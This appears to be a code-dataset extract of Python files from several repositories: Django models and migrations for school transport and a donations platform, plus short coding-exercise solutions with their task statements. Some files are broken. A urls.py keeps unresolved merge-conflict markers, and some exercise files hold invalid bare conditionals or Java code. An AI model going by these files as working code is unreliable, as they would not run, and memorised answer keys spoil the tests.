to='blog.Aluno')),\n ],\n ),\n migrations.CreateModel(\n name='AlunoTrajeto',\n fields=[\n ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n ('passagens', models.IntegerField()),\n ('aluno_codigo', models.ForeignKey(default=1, on_delete=django.db.models.deletion.PROTECT, to='blog.Aluno')),\n ],\n ),\n migrations.CreateModel(\n name='Empresa',\n fields=[\n ('codigo', models.AutoField(primary_key=True, serialize=False)),\n ('nome', models.CharField(max_length=255)),\n ('telefone', models.CharField(max_length=255)),\n ('criado_em', models.DateField(auto_now_add=True)),\n ('criado_por', models.ForeignKey(on_delete=django.db.models.deletion.PROTECT, to=settings.AUTH_USER_MODEL)),\n ],\n ),\n migrations.CreateModel(\n name='EmpresaTrajeto',\n fields=[\n ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n ('empresa_codigo', models.ForeignKey(on_delete=django.db.models.deletion.PROTECT, to='blog.Empresa')),\n ],\n ),\n migrations.CreateModel(\n name='Escola',\n fields=[\n ('codigo', models.AutoField(primary_key=True, serialize=False)),\n ('nome', models.CharField(max_length=255)),\n ('telefone', models.CharField(max_length=255)),\n ('email', models.CharField(max_length=255)),\n ('criado_em', models.DateField(auto_now_add=True)),\n ('criado_por', models.ForeignKey(on_delete=django.db.models.deletion.PROTECT, to=settings.AUTH_USER_MODEL)),\n ],\n ),\n migrations.CreateModel(\n name='EscolaEmpresa',\n fields=[\n ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n ('empresa_codigo', models.ForeignKey(on_delete=django.db.models.deletion.PROTECT, to='blog.Empresa')),\n ('escola_codigo', models.ForeignKey(on_delete=django.db.models.deletion.PROTECT, to='blog.Escola')),\n ],\n ),\n migrations.CreateModel(\n name='Localidade',\n fields=[\n ('codigo', models.AutoField(primary_key=True, serialize=False)),\n ('nome', models.CharField(max_length=255)),\n ('criado_em', models.DateField(auto_now_add=True)),\n ('criado_por', models.ForeignKey(on_delete=django.db.models.deletion.PROTECT, to=settings.AUTH_USER_MODEL)),\n ],\n ),\n migrations.CreateModel(\n name='NivelEnsino',\n fields=[\n ('codigo', models.AutoField(primary_key=True, serialize=False)),\n ('descricao', models.CharField(max_length=255)),\n ('criado_em', models.DateField(auto_now_add=True)),\n ('criado_por', models.ForeignKey(on_delete=django.db.models.deletion.PROTECT, to=settings.AUTH_USER_MODEL)),\n ],\n ),\n migrations.CreateModel(\n name='Periodo',\n fields=[\n ('codigo_mes', models.AutoField(primary_key=True, serialize=False)),\n ('desdricao', models.CharField(max_length=255)),\n ('criado_em', models.DateField(auto_now_add=True)),\n ('criado_por', models.ForeignKey(on_delete=django.db.models.deletion.PROTECT, to=settings.AUTH_USER_MODEL)),\n ],\n ),\n migrations.CreateModel(\n name='Serie',\n fields=[\n ('codigo', models.AutoField(primary_key=True, serialize=False)),\n ('serie', models.CharField(max_length=255)),\n ('criado_em', models.DateField(auto_now_add=True)),\n ('criado_por', models.ForeignKey(on_delete=django.db.models.deletion.PROTECT, to=settings.AUTH_USER_MODEL)),\n ('nivel_ensino_cod', models.ForeignKey(on_delete=django.db.models.deletion.PROTECT, to='blog.NivelEnsino')),\n ],\n ),\n migrations.CreateModel(\n name='Trajeto',\n fields=[\n ('codigo', models.AutoField(primary_key=True, serialize=False)),\n ('distancia', models.FloatField()),\n ('criado_em', models.DateField(auto_now_add=True)),\n ('cod_destino', models.ForeignKey(on_delete=django.db.models.deletion.PROTECT, related_name='localidade_cod_destino', to='blog.Localidade')),\n ('cod_saida', models.ForeignKey(on_delete=django.db.models.deletion.PROTECT, related_name='localidade_cod_saida', to='blog.Localidade')),\n ('criado_por', models.ForeignKey(on_delete=django.db.models.deletion.PROTECT, to=settings.AUTH_USER_MODEL)),\n ],\n ),\n migrations.CreateModel(\n name='Turno',\n fields=[\n ('codigo', models.AutoField(primary_key=True, serialize=False)),\n ('descricao', models.CharField(max_length=255)),\n ('criado_em', models.DateField(auto_now_add=True)),\n ('criado_por', models.ForeignKey(on_delete=django.db.models.deletion.PROTECT, to=settings.AUTH_USER_MODEL)),\n ],\n ),\n migrations.CreateModel(\n name='UsuarioEscola',\n fields=[\n ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n ('cod_escola', models.ForeignKey(on_delete=django.db.models.deletion.PROTECT, to='blog.Escola')),\n ('codigo_usuario', models.ForeignKey(on_delete=django.db.models.deletion.PROTECT, to=settings.AUTH_USER_MODEL)),\n ],\n ),\n migrations.AddField(\n model_name='empresatrajeto',\n name='trajeto_codigo',\n field=models.ForeignKey(on_delete=django.db.models.deletion.PROTECT, to='blog.Trajeto'),\n ),\n migrations.AddField(\n model_name='alunotrajeto',\n name='dt_mes',\n field=models.ForeignKey(on_delete=django.db.models.deletion.PROTECT, to='blog.Periodo'),\n ),\n migrations.AddField(\n model_name='alunotrajeto',\n name='trajeto_codigo',\n field=models.ForeignKey(on_delete=django.db.models.deletion.PROTECT, to='blog.Trajeto'),\n ),\n migrations.AddField(\n model_name='alunoperiodoescola',\n name='empresa_codigo',\n field=models.ForeignKey(on_delete=django.db.models.deletion.PROTECT, to='blog.Empresa'),\n ),\n migrations.AddField(\n model_name='alunoperiodoescola',\n name='periodo_codigo',\n field=models.ForeignKey(on_delete=django.db.models.deletion.PROTECT, to='blog.Periodo'),\n ),\n migrations.AddField(\n model_name='aluno',\n name='escola_codigo',\n field=models.ForeignKey(on_delete=django.db.models.deletion.PROTECT, to='blog.Escola'),\n ),\n migrations.AddField(\n model_name='aluno',\n name='serie_codigo',\n field=models.ForeignKey(on_delete=django.db.models.deletion.PROTECT, to='blog.Serie'),\n ),\n migrations.AddField(\n model_name='aluno',\n name='trajeto_codigo',\n field=models.ForeignKey(on_delete=django.db.models.deletion.PROTECT, to='blog.Trajeto'),\n ),\n migrations.AddField(\n model_name='aluno',\n name='turno_codigo',\n field=models.ForeignKey(on_delete=django.db.models.deletion.PROTECT, to='blog.Turno'),\n ),\n ]\n", "id": "1539895", "language": "Python", "matching_score": 6.302019119262695, "max_stars_count": 0, "path": "blog/migrations/0001_initial.py" }, { "content": "from django.contrib.auth.models import User\nfrom django.db import models\nimport datetime\n# As model field:\n\n\nclass Empresa(models.Model):\n codigo = models.AutoField(primary_key=True)\n nome = models.CharField(max_length=255)\n telefone = models.CharField(max_length=255)\n criado_por = models.ForeignKey(User, on_delete=models.PROTECT)\n criado_em = models.DateField(auto_now_add=True)\n\n '''def save(self, *args, **kwargs):\n self.criado_em = datetime.datetime.now().time()\n self.criado_por_id = get_username()\n super(Empresa, self).save(*args,**kwargs)'''\n\n def __str__(self):\n return self.nome\n\nclass Localidade(models.Model):\n codigo = models.AutoField(primary_key=True)\n nome = models.CharField(max_length=255)\n criado_por = models.ForeignKey(User, on_delete=models.PROTECT)\n criado_em = models.DateField(auto_now_add=True)\n\n '''def save(self, *args, **kwargs):\n self.criado_em = datetime.datetime.now().time()\n super(Localidade, self).save(*args, **kwargs)'''\n\n def __str__(self):\n return self.nome\n\n\nclass Escola(models.Model):\n codigo = models.AutoField(primary_key=True)\n nome = models.CharField(max_length=255)\n telefone = models.CharField(max_length=255)\n email = models.CharField(max_length=255)\n criado_por = models.ForeignKey(User, on_delete=models.PROTECT)\n criado_em = models.DateField(auto_now_add=True)\n\n '''def save(self, *args, **kwargs):\n self.criado_em = datetime.datetime.now().time()\n super(Escola, self).save(*args, **kwargs)'''\n\n def __str__(self):\n return self.nome\n\n\nclass EscolaEmpresa(models.Model):\n escola_codigo = models.ForeignKey(Escola, on_delete=models.PROTECT)\n empresa_codigo = models.ForeignKey(Empresa, on_delete=models.PROTECT)\n\n\nclass Trajeto(models.Model):\n codigo = models.AutoField(primary_key=True)\n cod_saida = models.ForeignKey(Localidade, on_delete=models.PROTECT, related_name=\"localidade_cod_saida\")\n cod_destino = models.ForeignKey(Localidade, on_delete=models.PROTECT, related_name=\"localidade_cod_destino\")\n distancia = models.FloatField()\n cod_empresa = models.ForeignKey(Empresa, on_delete=models.PROTECT)\n criado_por = models.ForeignKey(User, on_delete=models.PROTECT)\n criado_em = models.DateField(auto_now_add=True)\n\n '''def save(self, *args, **kwargs):\n self.criado_em = datetime.datetime.now().time()\n super(Trajeto, self).save(*args, **kwargs)'''\n\n def __str__(self):\n return self.cod_saida.nome + \" - \" + self.cod_destino.nome\n\nclass EmpresaTrajeto(models.Model):\n empresa_codigo = models.ForeignKey(Empresa, on_delete=models.PROTECT)\n trajeto_codigo = models.ForeignKey(Trajeto, on_delete=models.PROTECT)\n\nclass NivelEnsino(models.Model):\n codigo = models.AutoField(primary_key=True)\n descricao = models.CharField(max_length=255)\n criado_por = models.ForeignKey(User, on_delete=models.PROTECT)\n criado_em = models.DateField(auto_now_add=True)\n\n ''' def save(self, *args, **kwargs):\n self.criado_em = datetime.datetime.now().time()\n super(NivelEnsino, self).save(*args, **kwargs)'''\n\n def __str__(self):\n return self.descricao\n\nclass Periodo(models.Model):\n codigo_mes = models.AutoField(primary_key=True)\n desdricao = models.CharField(max_length=255)\n criado_por = models.ForeignKey(User, on_delete=models.PROTECT)\n criado_em = models.DateField(auto_now_add=True)\n\n '''def save(self, *args, **kwargs):\n self.criado_em = datetime.datetime.now().time()\n super(Periodo, self).save(*args, **kwargs)'''\n\n def __str__(self):\n return self.desdricao\n\nclass Serie(models.Model):\n codigo = models.AutoField(primary_key=True)\n serie = models.CharField(max_length=255)\n nivel_ensino_cod = models.ForeignKey(NivelEnsino, on_delete=models.PROTECT)\n criado_por = models.ForeignKey(User, on_delete=models.PROTECT)\n criado_em = models.DateField(auto_now_add=True)\n\n def save(self, *args, **kwargs):\n self.criado_em = datetime.datetime.now().time()\n super(Serie, self).save(*args, **kwargs)\n\n\n def __str__(self):\n return self.serie\n\n\nclass Turno(models.Model):\n codigo = models.AutoField(primary_key=True)\n descricao = models.CharField(max_length=255)\n criado_por = models.ForeignKey(User, on_delete=models.PROTECT)\n criado_em = models.DateField(auto_now_add=True)\n\n '''def save(self, *args, **kwargs):\n self.criado_em = datetime.datetime.now().time()\n super(Turno, self).save(*args, **kwargs)'''\n\n def __str__(self):\n return self.descricao\n\n\nclass Aluno(models.Model):\n matricula = models.AutoField(primary_key=True)\n nome = models.CharField(max_length=255)\n acompanhante = models.CharField(max_length=255)\n escola_codigo = models.ForeignKey(Escola, on_delete=models.PROTECT)\n serie_codigo = models.ForeignKey(Serie, on_delete=models.PROTECT)\n #trajeto_codigo = models.ForeignKey(Trajeto, on_delete=models.PROTECT)\n turno_codigo = models.ForeignKey(Turno, on_delete=models.PROTECT)\n #criado_por = CurrentUserField()\n criado_por = models.ForeignKey(User, on_delete=models.PROTECT)\n criado_em = models.DateField(auto_now_add=True)\n\n '''def save(self, *args, **kwargs):\n self.criado_em = datetime.datetime.now().time()\n super(Aluno, self).save(*args, **kwargs)'''\n\n\n\n def __str__(self):\n return self.nome\n\nclass AlunoPeriodoEscola(models.Model):\n aluno_codigo = models.ForeignKey(Aluno, on_delete=models.PROTECT)\n empresa_codigo = models.ForeignKey(Empresa, on_delete=models.PROTECT)\n periodo_codigo = models.ForeignKey(Periodo, on_delete=models.PROTECT)\n\nclass AlunoTrajeto(models.Model):\n aluno_codigo = models.ForeignKey(Aluno, on_delete=models.PROTECT, default=1)\n passagens = models.IntegerField(null=True)\n dt_mes = models.ForeignKey(Periodo, on_delete=models.PROTECT, null=True)\n trajeto_codigo = models.ForeignKey(Trajeto, on_delete=models.PROTECT)\n\n def __str__(self):\n return self.aluno_codigo.nome + \" - \" + self.trajeto_codigo.cod_saida.nome + \" - \" + self.trajeto_codigo.cod_destino.nome\n\n def __alunoTrajetoFilterEmpresa__(self, listaAlunoTrajeto):\n return listaAlunoTrajeto.objects.filter(aluno_codigo=self.matricula)\n\nclass UsuarioEscola(models.Model):\n codigo_usuario = models.ForeignKey(User, on_delete=models.PROTECT)\n cod_escola = models.ForeignKey(Escola, on_delete=models.PROTECT)\n\n def __str__(self):\n return self.cod_escola.nome + \" - \" + self.codigo_usuario.username\n", "id": "2345017", "language": "Python", "matching_score": 5.199836730957031, "max_stars_count": 0, "path": "blog/models.py" } ]
2.898511
Dineshkumar-Ponnusamy
[ { "content": "xs = [()]\nres = [False] * 2\nif xs:\n res[0] = True\nif xs[0]:\n res[1] = True\n \nprint(res)\n# [True, False]\n", "id": "9683001", "language": "Python", "matching_score": 0, "max_stars_count": 0, "path": "CollectionsTruthness.py" }, { "content": "def reverse_string(in_string):\n return in_string[::-1]\n \ndef test_reverse_string():\n assert reverse_string(\"power\") == \"rewop\", \"Should be rewop\"\n\nif __name__ == \"__main__\":\n #in_string = input(\"Enter the string you want to reverse: \")\n test_reverse_string()\n print(\"Everything passed\")\n", "id": "10407816", "language": "Python", "matching_score": 0, "max_stars_count": 0, "path": "Text/1. Reverse.py" }, { "content": "\"\"\"\nImplement the missing code, denoted by ellipses. You may not modify the pre-existing code.\nYou've just started to study impartial games, and came across an interesting theory. The theory is quite complicated, but it can be narrowed down to the following statements: solutions to all such games can be found with the mex function. Mex is an abbreviation of minimum excludant: for the given set s it finds the minimum non-negative integer that is not present in s.\n\nYou don't yet know how to implement such a function efficiently, so would like to create a simplified version. For the given set s and given an upperBound, implement a function that will find its mex if it's smaller than upperBound or return upperBound instead.\n\nHint: for loops also have an else clause which executes when the loop completes normally, i.e. without encountering any breaks\n\nExample\n\nFor s = [0, 4, 2, 3, 1, 7] and upperBound = 10,\nthe output should be\nsolution(s, upperBound) = 5.\n\n5 is the smallest non-negative integer that is not present in s, and it is smaller than upperBound.\n\nFor s = [0, 4, 2, 3, 1, 7] and upperBound = 3,\nthe output should be\nsolution(s, upperBound) = 3.\n\nThe minimum excludant for the given set is 5, but it's greater than upperBound, so the output should be 3.\n\nInput/Output\n\n[execution time limit] 4 seconds (py3)\n\n[input] array.integer s\n\nArray of distinct non-negative integers.\n\nGuaranteed constraints:\n0 ≤ s.length ≤ 100,\n0 ≤ s[i] ≤ 100.\n\n[input] integer upperBound\n\nA positive integer.\n\nGuaranteed constraints:\n1 ≤ upperBound ≤ 100.\n\n[output] integer\n\nMex of s if it's smaller than upperBound, or upperBound instead.\n\"\"\"\n\ndef solution(s, upperBound):\n found = -1\n for i in range(upperBound):\n if not i in s:\n found = i\n break\n else:\n found = upperBound\n\n return found\n", "id": "8157643", "language": "Python", "matching_score": 2.6261539459228516, "max_stars_count": 0, "path": "MexFunction.py" }, { "content": "\"\"\"\nImplement the missing code, denoted by ellipses. You may not modify the pre-existing code.\nIt frustrates you more than you'd like to admit that the solution operator in Python can be applied to non-integer values. When you write code, you expect the result of the solution operator to always be an integer, but thanks to Python this isn't always the case.\n\nTo fix this, you've decided to write your own solution operator as a function. Your task is to implement a function that, given a number n, returns -1 if this number is not an integer and n % 2 otherwise. It is guaranteed that if the number represents an integer, it will be written without a decimal point.\n\nExample\n\nFor n = 15, the output should be\nsolution(n) = 1;\n\nFor n = 23.12, the output should be\nsolution(n) = -1.\n\nInput/Output\n\n[execution time limit] 4 seconds (py3)\n\n[input] numeric n\n\nA non-negative number that can be an int, a float, or a long.\n\nGuaranteed constraints:\n0 ≤ n ≤ 1000.\n\n[output] integer\n\nReturn n % 2 if n is an integer, otherwise return -1.\n\n\"\"\"\n\ndef solution(n):\n if type(n) is int:\n return n % 2\n else:\n return -1\n", "id": "12046311", "language": "Python", "matching_score": 3.2324867248535156, "max_stars_count": 0, "path": "Modulus.py" }, { "content": "\"\"\"\nImplement the missing code, denoted by ellipses. You may not modify the pre-existing code.\nImplement a function that, given an integer n, uses a specific method on it and returns the number of bits in its binary representation.\n\nNote: in this task and most of the following tasks you will be given a code snippet with some part of it replaced by the ellipsis (...). Only this part is allowed to be changed.\n\nExample\n\nFor n = 50, the output should be\nsolution(n) = 6.\n\n5010 = 1100102, a number that consists of 6 digits. Thus, the output should be 6.\n\nInput/Output\n\n[execution time limit] 4 seconds (py3)\n\n[input] integer n\n\nA positive integer.\n\nGuaranteed constraints:\n1 ≤ n ≤ 109.\n\n[output] integer\n\nThe number of bits in binary representation of n.\n\"\"\"\n\ndef solution(n):\n return n.bit_length() \n", "id": "6092181", "language": "Python", "matching_score": 3.3218882083892822, "max_stars_count": 0, "path": "CountBits.py" }, { "content": "\"\"\"\nImplement the missing code, denoted by ellipses. You may not modify the pre-existing code.\nYour university professor decided to have a little fun and asked the class to implement a function that, given a number n and a base x, converts the number from base x to base 16. To make things more interesting, he announced that the first student to write the solution will have to answer fewer question than the rest of the class during the final exam.\n\nLaughing devilishly, you asked if it was okay to use a language of your choice, and the unsuspecting professor answered \"yes\". It's settled then: Python is your language of choice!\n\nNow you're bound to win. Implement a function that, given an integer number n and a base x, converts n from base x to base 16.\n\nExample\n\nFor n = \"1302\" and x = 5, the output should be\nsolution(n, x) = \"ca\".\n\nHere's why:\n13025 = 20210 = ca16.\n\nInput/Output\n\n[execution time limit] 4 seconds (py3)\n\n[input] string n\n\nA valid non-negative integer in base x. The string is guaranteed to consist of digits and lowercase English letters.\n\nGuaranteed constraints:\n1 < n.length ≤ 10.\n\n[input] integer x\n\nThe base of n.\n\nGuaranteed constraints:\n2 ≤ x ≤ 36.\n\n[output] string\n\nThe value of n in base 16. The string should contain only digits and lowercase English letters 'a' - 'f'.\n\n\"\"\"\n\ndef solution(n, x):\n return hex(int(n, base=x))[2:]\n", "id": "773805", "language": "Python", "matching_score": 2.383068561553955, "max_stars_count": 0, "path": "BaseConversion.py" }, { "content": "\"\"\"\nImplement the missing code, denoted by ellipses. You may not modify the pre-existing code.\nTo understand how efficient the built-in Python sorting function is, you decided to implement your own simple sorting algorithm and compare its speed to the speed of the Python sorting. Write a function that, given an array of integers arr, sorts its elements in ascending order.\n\nHint: with Python it's possible to swap several elements in a single line. To solve the task, use this knowledge to fill in both of the blanks (...).\n\nExample\n\nFor arr = [2, 4, 1, 5], the output should be\nsolution(arr) = [1, 2, 4, 5].\n\nInput/Output\n\n[execution time limit] 4 seconds (py3)\n\n[input] array.integer arr\n\nGuaranteed constraints:\n1 ≤ arr.length ≤ 500,\n-105 ≤ arr[i] ≤ 105.\n\n[output] array.integer\n\nThe given array with elements sorted in ascending order.\n\"\"\"\n\ndef solution(arr):\n\n n = len(arr)\n\n for i in range(n):\n j = 0\n stop = n - i\n while j < stop - 1:\n if arr[j] > arr[j + 1]:\n arr[j], arr[j+1] = arr[j+1], arr[j]\n j += 1\n return arr\n", "id": "9649917", "language": "Python", "matching_score": 3.880801200866699, "max_stars_count": 0, "path": "SimpleSort.py" }, { "content": "\"\"\"\nImplement the missing code, denoted by ellipses. You may not modify the pre-existing code.\nLet's call a list beautiful if its first element is equal to its last element, or if a list is empty. Given a list a, your task is to chop off its first and its last element until it becomes beautiful. Implement a function that will make the given a beautiful as described, and return the resulting list as an answer.\n\nHint: one of the features introduced in Python 3 called extended unpacking could help here.\n\nExample\n\nFor a = [3, 4, 2, 4, 38, 4, 5, 3, 2], the output should be\nsolution(a) = [4, 38, 4].\n\nHere's how the answer is obtained:\n[3, 4, 2, 4, 38, 4, 5, 3, 2] => [4, 2, 4, 38, 4, 5, 3] => [2, 4, 38, 4, 5] => [4, 38, 4].\n\nFor a = [1, 4, -5], the output should be\nsolution(a) = [4].\n\nInput/Output\n\n[execution time limit] 4 seconds (py3)\n\n[input] array.integer a\n\nA list of integers.\n\nGuaranteed constraints:\n0 ≤ a.length ≤ 50,\n1 ≤ a[i] ≤ 100.\n\n[output] array.integer\n\nA beautiful list obtained as described above.\n\"\"\"\n\ndef solution(a):\n res = a[:]\n while res and res[0] != res[-1]:\n _, *res, _ = res\n return res\n", "id": "3010504", "language": "Python", "matching_score": 1.061049461364746, "max_stars_count": 0, "path": "ListBeautifier.py" }, { "content": "#Your friend is an experienced coder who just started learning Python. Since she is already proficient in Java and C++, she decided to write all of her snippets in all three languages, in order to ensure the Python code was working as expected. Here's the very first function your friend wrote in Python and Java (the C++ version is the same as Java one):\n\n#Python:\ndef division(x, y):\n return x // y\n#Java:\nint division(int x, int y) {\n return x / y;\n}\n\n#You noticed that the functions aren't quite the same: they won't produce the same result for some valid values of x and y. For which of the following example inputs would these two versions produce different outputs?\n\n#Answer is: x = 15, y = -4. Reason: In Java, 15/-4 = -3. In Python, floor division returns, -4.\n# More Info, https://www.cs.umd.edu/~clin/MoreJava/Intro/expr-int-div.html#:~:text=Java%20does%20integer%20division%2C%20which,can%20come%20in%20very%20handy.\n# https://python-reference.readthedocs.io/en/latest/docs/operators/floor_division.html\n", "id": "495688", "language": "Python", "matching_score": 1.2907658815383911, "max_stars_count": 0, "path": "LanguageDifferences.py" }, { "content": "#You would like to write a function that takes integer numbers x, y, L and R as parameters, and returns True if xy lies within the interval (L, R] and False otherwise. You're considering several different ways to write the conditional statement inside this function:\n\nif L < x ** y <= R:\nif x ** y > L and x ** y <= R:\nif x ** y in range(L + 1, R + 1):\n#Which option would be the most efficient in terms of execution time?\n\n# Option1, since doesn't have and or range operations.\n", "id": "3464862", "language": "Python", "matching_score": 0.9780395030975342, "max_stars_count": 0, "path": "Efficient Comparison.py" }, { "content": "#Given two boolean variables a and b, one of the following statements works differently than the others. Which one is it?\n\nnot (a == b)\na == (not b)\na == not b\nnot a == b\n\n# Answer is: a == not b (it will throw invalid syntax error)\n", "id": "420073", "language": "Python", "matching_score": 0.4521894156932831, "max_stars_count": 0, "path": "SpecialConditional.py" } ]
1.290766
DevSheila
[ { "content": "from django.contrib.gis import admin\nfrom .models import Marker\n\n\n# Register your models here.\n\n@admin.register(Marker)\nclass MarkerAdmin(admin.GISModelAdmin):\n list_display = (\"name\", \"location\")", "id": "3881596", "language": "Python", "matching_score": 1.404120683670044, "max_stars_count": 2, "path": "maps/admin.py" }, { "content": "from django.contrib import admin\nfrom .models import Consumer\n\n# Register your models here.\nadmin.site.register(Consumer)", "id": "5236935", "language": "Python", "matching_score": 1.7064911127090454, "max_stars_count": 2, "path": "Consumer_Login_Register/admin.py" }, { "content": "from django.contrib import admin\n\nfrom .models import Donor\n\n# Register your models here\n\nadmin.site.register(Donor)", "id": "2240133", "language": "Python", "matching_score": 0.5748850107192993, "max_stars_count": 2, "path": "Donor_Login_Register/admin.py" }, { "content": "from django.contrib import admin\n<<<<<<< HEAD\nfrom django.urls import path, include\nfrom django.conf import settings\nfrom django.conf.urls.static import static\n=======\n<<<<<<< HEAD\nfrom django.urls import path, include\nfrom django.conf import settings\nfrom django.conf.urls.static import static\n\nurlpatterns = [\n path('admin/', admin.site.urls),\n path('track/', include('maps.urls')),\n] + static(settings.STATIC_URL, document_root=settings.STATIC_ROOT)\n=======\nfrom django.urls import path,include\n>>>>>>> ft-mappings\n\n\nurlpatterns = [\n path('admin/', admin.site.urls),\n<<<<<<< HEAD\n path('', include('Donor_Login_Register.urls')),\n path('consumer/', include('Consumer_Login_Register.urls')),\n path('maps/', include('mapping.urls'))\n ] + static(settings.STATIC_URL, document_root=settings.STATIC_ROOT)\n=======\n path('',include('Donor_Login_Register.urls')),\n path('consumer/',include('Consumer_Login_Register.urls'))\n \n \n \n]\n>>>>>>> main\n>>>>>>> ft-mappings\n", "id": "7871541", "language": "Python", "matching_score": 2.504629611968994, "max_stars_count": 2, "path": "DonationsPlatform/urls.py" }, { "content": "from django.urls import path\nfrom .views import DonationTracking\nfrom django.conf import settings\nfrom django.conf.urls.static import static\n\napp_name = \"maps\"\n\nurlpatterns = [\n path(\"map/\", DonationTracking.as_view()),\n] + static(settings.STATIC_URL, document_root=settings.STATIC_ROOT)", "id": "8683583", "language": "Python", "matching_score": 0.21577098965644836, "max_stars_count": 2, "path": "maps/urls.py" }, { "content": "from django.db import models\n\n# Create your models here.\nimport email\nfrom django.db import models\nfrom django.contrib.auth.models import AbstractBaseUser,BaseUserManager\nfrom django.forms import EmailField\n\nclass ConsumerManager(BaseUserManager):\n def create_user(self,email, Full_name, phone_number,Organization,location,category,facebook,Twitter,Website,no_individuals,password = None):\n if not email:\n raise ValueError(\" Please provide the email\")\n if not Full_name:\n raise ValueError(\" Please provide your full name\")\n if not phone_number:\n raise ValueError(\" Please provide an active\")\n if not Organization:\n raise ValueError(\" Please provide the Organization\")\n if not location:\n raise ValueError(\" Please provide your location\")\n if not category:\n raise ValueError(\" Please provide your category\")\n if not no_individuals:\n raise ValueError(\" Please provide number individuals\")\n\n user = self.model(\n email = self.normalize_email(email),\n Full_name = Full_name,\n phone_number = phone_number,\n Organization = Organization,\n location = location,\n category = category,\n no_individuals =no_individuals,\n facebook = facebook,\n Twitter = Twitter,\n Website = Website\n\n )\n\n user.set_password(password)\n user.save(using=self._db)\n return user\n \n def create_superuser(self,email,Full_name,phone_number,password=None):\n user = self.create_user(\n email=self.normalize_email(email),\n Full_name = Full_name,\n phone_number= phone_number,\n password= password\n )\n\n user.is_admin = True\n user.is_superuser = True\n user.is_staff = True\n user.save(using=self._db)\n return user\n\n\n\nclass Consumer(AbstractBaseUser):\n Full_name = models.CharField(verbose_name='enter full name', max_length=60,unique=False)\n email = models.EmailField(verbose_name='enter valid email',max_length=60,unique=True)\n phone_number = models.CharField(verbose_name='enter phone number',max_length=20,unique=True)\n Organization = models.CharField(max_length=60, verbose_name= 'Organization')\n CAT = (\n ('Childrens Home','Childrens Home'),\n ('Eldery shelter','Eldery shelter'),\n ('Refugee Camp','Refugee Camp'),\n ('Street Families','Street Families')\n )\n category = models.CharField(max_length=100, verbose_name= 'category', choices= CAT)\n no_individuals = models.IntegerField()\n facebook = models.CharField(max_length=300,verbose_name='facebook',null=True)\n Twitter = models.CharField(max_length=300,verbose_name='Twitter',null=True)\n Website = models.CharField(max_length=300,verbose_name='Website',null=True)\n location = models.CharField(max_length=40, verbose_name= ' Enter your current location')\n date_joined = models.DateField(auto_now_add=True)\n last_login = models.DateField(verbose_name='last_login', auto_now=True)\n is_admin = models.BooleanField(default=False)\n is_active = models.BooleanField(default= True)\n is_staff = models.BooleanField(default=False)\n is_superuser =models.BooleanField(default=False)\n\n USERNAME_FIELD = 'email'\n\n REQUIRED_FIELD = ['Full_name','phone_number','Organization','category','location','no_individuals']\n\n objects=ConsumerManager()\n def __str__(self):\n return self.Full_name\n\n\n def has_perm(self, perm, obj=None):\n return True\n\n def has_module_perms(self, app_label):\n return True", "id": "11932707", "language": "Python", "matching_score": 7.604614734649658, "max_stars_count": 2, "path": "Consumer_Login_Register/models.py" }, { "content": "import email\nfrom django.db import models\nfrom django.contrib.auth.models import AbstractBaseUser,BaseUserManager\nfrom django.forms import EmailField\n\nclass DonorManager(BaseUserManager):\n def create_user(self,email, Full_name, phone_number,Organization,location,password = None):\n if not email:\n raise ValueError(\" Please provide the email\")\n if not Full_name:\n raise ValueError(\" Please provide your full name\")\n if not phone_number:\n raise ValueError(\" Please provide an active\")\n if not Organization:\n raise ValueError(\" Please provide the Organization\")\n if not location:\n raise ValueError(\" Please provide your location\")\n\n user = self.model(\n email = self.normalize_email(email),\n Full_name = Full_name,\n phone_number = phone_number\n\n )\n\n user.set_password(password)\n user.save(using=self._db)\n return user\n \n def create_superuser(self,email,Full_name,phone_number,password=None):\n user = self.create_user(\n email=self.normalize_email(email),\n Full_name = Full_name,\n phone_number= phone_number,\n password= password\n )\n\n user.is_admin = True\n user.is_superuser = True\n user.is_staff = True\n user.save(using=self._db)\n return user\n\n\n\nclass Donor(AbstractBaseUser):\n Full_name = models.CharField(verbose_name='enter full name', max_length=60,unique=False)\n email = models.EmailField(verbose_name='enter valid email',max_length=60,unique=True)\n phone_number = models.CharField(verbose_name='enter phone number',max_length=20,unique=True)\n ORG = (\n ('Individual','Individual'),\n ('Organization','Organization')\n )\n Organization = models.CharField(max_length=60, verbose_name= 'Organization', choices= ORG)\n location = models.CharField(max_length=40, verbose_name= ' Enter your current location')\n date_joined = models.DateField(auto_now_add=True)\n last_login = models.DateField(verbose_name='last_login', auto_now=True)\n is_admin = models.BooleanField(default=False)\n is_active = models.BooleanField(default= True)\n is_staff = models.BooleanField(default=False)\n is_superuser =models.BooleanField(default=False)\n\n USERNAME_FIELD = 'email'\n\n REQUIRED_FIELD = ['Full_name','phone_number','Organization','location']\n\n objects=DonorManager()\n def __str__(self):\n return self.Full_name\n\n\n def has_perm(self, perm, obj=None):\n return True\n\n def has_module_perms(self, app_label):\n return True", "id": "12445550", "language": "Python", "matching_score": 2.580381393432617, "max_stars_count": 2, "path": "Donor_Login_Register/models.py" }, { "content": "from django.db import models\nfrom django.contrib.gis.db.models import PointField\n# Create your models here.\n\n\nclass Marker(models.Model):\n name = models.CharField(max_length=255)\n location = PointField()\n", "id": "12729560", "language": "Python", "matching_score": 2.132779121398926, "max_stars_count": 2, "path": "maps/models.py" }, { "content": "# Generated by Django 3.2.9 on 2022-02-10 13:42\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n initial = True\n\n dependencies = [\n ]\n\n operations = [\n migrations.CreateModel(\n name='Donor',\n fields=[\n ('id', models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n ('password', models.CharField(max_length=128, verbose_name='password')),\n ('Full_name', models.CharField(max_length=60, verbose_name='enter full name')),\n ('email', models.EmailField(max_length=60, unique=True, verbose_name='enter valid email')),\n ('phone_number', models.CharField(max_length=20, unique=True, verbose_name='enter phone number')),\n ('Organization', models.CharField(choices=[('Individual', 'Individual'), ('Organization', 'Organization')], max_length=60, verbose_name='Organization')),\n ('location', models.CharField(max_length=40, verbose_name=' Enter your current location')),\n ('date_joined', models.DateField(auto_now_add=True)),\n ('last_login', models.DateField(auto_now=True, verbose_name='last_login')),\n ('is_admin', models.BooleanField(default=False)),\n ('is_active', models.BooleanField(default=True)),\n ('is_staff', models.BooleanField(default=False)),\n ('is_superuser', 